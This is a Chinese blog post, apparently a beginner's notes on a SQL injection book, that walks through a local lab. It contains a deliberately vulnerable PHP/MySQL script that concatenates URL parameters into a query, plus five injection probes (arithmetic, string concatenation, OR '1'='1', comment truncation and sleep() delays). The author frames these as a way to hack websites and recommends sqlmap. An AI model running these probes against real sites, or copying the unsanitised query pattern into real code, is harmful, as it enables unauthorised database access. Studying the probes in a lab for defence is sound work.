看完《sql注入攻击与防御 第2版》后,发现原来自己也能黑网站了,就一个字:太爽了。
简单总结一下入侵步骤:
1、确定是否有sql注入漏洞
2、确定数据库类型
3、组合sql语句,实施渗透
4、获取最高权限后,想怎么玩就怎么玩
学习sql注入漏洞,需要的材料:
浏览器 X1
wamp集成包 X1
php脚本一个 X1
数据库一个 X1
php脚本内容:
1 <?php 2 //获取数据 3 $id= empty($_GET[‘id‘])?"NULL":$_GET[‘id‘]; 4 $name= empty($_GET[‘name‘])?"NULL":$_GET[‘name‘]; 5 //连接数据库 6 $connect = mysql_connect(‘localhost‘,‘root‘,‘123456‘); 7 //选择数据库 8 mysql_select_db(‘new‘,$connect); 9 //组合sql语句 10 $sql = "SELECT * FROM one where id={$id} or name=‘{$name}‘"; 11 //执行sql语句 12 $result = mysql_query($sql); 13 //显示数据结果 14 while ($row = mysql_fetch_array($result)) { 15 echo "<pre>"; 16 print_r($row); 17 echo "</pre>"; 18 }
创建数据库和数据表
1 --创建数据库 2 Create databases if exists new; 3 --创建数据表 4 create table one( 5 id int not null auto_increment primary key, 6 name varchar(10) not null, 7 pwd varchar(10) not null, 8 price int not null 9 )engine=myisam default charset=utf8;
以下将用5种方法判断是否有sql注入漏洞
1、根据运算符判断
2、根据连接字符串判断
3、根据内联sql判断
4、根据sql注释符判断
5、根据时间延迟判断
以下例子是判断是否有sql注入的测试。
一、根据<运算符>判断是否有sql漏洞。实现步骤如下:
正常运行流程:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=1 or name=‘NULL‘
2、查看浏览器输出结果,将发现id为1的数据被输出
非正常运行流程,使用运算符:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=4-1 or name=‘NULL‘
2、查看浏览器输出结果,将发现id为3的数据被输出。因为sql执行了4-1的运算了。
二、根据<字符串>判断是否有sql漏洞。实现步骤如下:
正常运行流程:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=NULL or name=‘hello‘
2、查看浏览器输出结果,将发现name为hello的数据被输出
非正常运行流畅,使用字符串连接
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=NULL or name=‘he‘ ‘llo‘
2、查看浏览器输出结果,将发现name为hello的数据被输出。因为sql执行了:字符串连接操作。
三、根据<字符串内联>判断是否有sql注入漏洞。实现步骤如下:
正常运行流畅:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=NULL or name=‘hello‘
2、查看浏览器输出结果,将发现name为hello的数据被输出。
非正常运行流程:
1、在浏览输入地址
Sql语句:SELECT * FROM one where id=NULL or name=‘he‘ ‘llo‘ or ‘1‘=‘1‘
2、查看浏览器输出结果,将发现所有数据被输出。
四、使用<sql的注释符号>判断是否有sql输入漏洞
正常运行流程:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=3 or name=‘NULL‘
2、查看浏览器输出结果,将发现id为3的数据被显示出来
非正常运行流程:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=3-- or name=‘NULL‘
2、查看浏览器输出结果,将发现id为3的数据被显示出来
五、使用<时间延迟>判断是否有sql注入漏洞
正常运行流程:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=3 or name=‘NULL‘
2、查看浏览器输出结果,将发现id为3的数据被显示出来
非正常运行流程:
1、在浏览器输入地址
Sql语句:SELECT * FROM one where id=3 or sleep(10) or name=‘NULL‘
2、这时浏览器返回结果,会有明显的延迟
备注:该测试用到的数据库为mysql数据库,sql语句都是针对mysql。其他数据库的测试方式大同小异,只要思路正确就一切ok。
备注:sqlmap工具听说挺不错,可以试试。